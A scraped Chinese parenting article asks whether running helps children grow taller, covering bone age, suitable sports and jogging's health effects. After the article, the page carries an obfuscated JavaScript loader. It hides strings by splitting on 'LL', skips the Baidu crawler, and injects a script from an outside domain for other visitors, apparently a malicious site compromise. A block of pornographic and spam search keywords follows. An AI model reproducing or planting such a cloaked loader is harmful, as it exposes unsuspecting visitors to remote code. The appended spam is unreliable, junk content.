當(dāng)前位置:首頁 > 母嬰 > 育兒知識 > 正文

小孩跑步真的會長高嗎?

2017-04-09 12:28:26  來源:360常識網(wǎng)   熱度:
導(dǎo)語:跑步是很受歡迎的一項運動,不管是大人還是小孩子,跑步都是最常見最普遍的一項運動,孩子天性好玩,經(jīng)常跑來跑去的玩耍,這其實就是在跑步

跑步是很受歡迎的一項運動,不管是大人還是小孩子,跑步都是最常見最普遍的一項運動,孩子天性好玩,經(jīng)常跑來跑去的玩耍,這其實就是在跑步,很多家人覺得孩子多跑步時刻以幫助長高的,但是其實自己也不知道這種說法到底是不是正確的。那么跑步真的可以幫助孩子長高嗎?下面我們就來解答一下。

運動是不錯的促進(jìn)骨骼增長的方法,跑步就是其中之一,下面就來看下慢跑是否可以促進(jìn)長高。

是否可以再長高取決于骨骼年齡,骨齡是發(fā)育的指標(biāo),如果年齡大于骨齡,提示你生長遲緩;如果年齡小于骨齡,提示你性早熟等。所以想要了解你的生長發(fā)育情況,應(yīng)該到正規(guī)醫(yī)院拍攝骨齡片。醫(yī)生會根據(jù)骨齡片上顯示出的骨骺閉合情況來判斷你的生長潛力。

簡單地說,能夠增進(jìn)食欲、促進(jìn)睡眠、給予骨骼一定程度縱向壓力的運動對長高都有益。具體地說就有慢跑、跳繩、跳舞、打籃球以及打排球等。但是籃球和排球選手中有許多兒童原來身材就很高,如果你僅僅為了長高,讓根本不喜歡這些運動的孩子云從事這些運動的話,你就錯了。

因為情緒的安定對長高也很重要,所以讓孩子選擇自己喜歡的運動。但是過度消耗體力的激烈運動,還是讓身體已經(jīng)停止增長的高中生從事比較好。骨骼的發(fā)育一定程度上來自縱向的壓力,但是過強(qiáng)的壓力(舉重等等)反而讓骨骼在縱向難以生長。

慢跑能促進(jìn)全身新陳代謝,能改善脂類代謝,可防治血液中脂質(zhì)過高。冠心病、高血壓、動脈硬化等老年性疾病大多與體內(nèi)脂質(zhì)代謝有關(guān),慢跑能改善體內(nèi)脂類物質(zhì)的正常代謝,降低膽固醇和甘油三脂的含量,可預(yù)防和減少膽固醇等脂質(zhì)在血管壁上的沉積,從而起到防治冠心病、高血壓等老年性疾病的作用。

眾所周知,運動是可以幫助長高的,所以孩子多參加體育鍛煉,多進(jìn)行一些運動,是可以促進(jìn)骨骼的生長的,跑步也是運動的一種,所以經(jīng)常進(jìn)行跑步是可以幫助長高的。但是影響身高的因素有很多,所以不代表跑步一定可以幫助長高,這點是需要我們注意的。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品宾馆在线精品酒店| 久久97久久97精品免视看秋霞| 亚洲av永久中文无码精品| 麻豆AV无码精品一区二区| 99精品国产高清一区二区麻豆| 3D动漫精品啪啪一区二区下载| 精品无码专区亚洲| 国产精品白浆无码流出| 无码AV动漫精品一区二区免费| 91久久精品国产免费一区| 蜜臀98精品国产免费观看| 最新国产成人亚洲精品影院| 精品久久中文字幕| 四虎永久在线精品国产馆V视影院| 精品国产成人国产在线观看| 精品乱码久久久久久中文字幕| 四虎成人精品在永久免费| CAOPORN国产精品免费视频| 亚洲高清国产拍精品青青草原| 中文精品北条麻妃中文| 久久国产乱子伦精品免| 国产精品三级在线| 国产三级久久精品三级| 中文精品人人永久免费| 久久精品国产精品亚洲| 亚洲国产精品lv| 精品午夜国产福利观看| 无码精品前田一区二区| 九九热这里只有在线精品视| 国产精品爽黄69天堂a| 国产精品亚洲一区二区无码| 中国国产成人精品久久| 久久成人国产精品| 日韩精品一区二区三区毛片| 九九久久精品国产| 2021年国产精品久久| 国产精品VA在线播放| 国产精品丝袜一区二区三区 | 久久精品国内一区二区三区| 国产精品无码免费专区午夜| 久久亚洲精品无码AV红樱桃|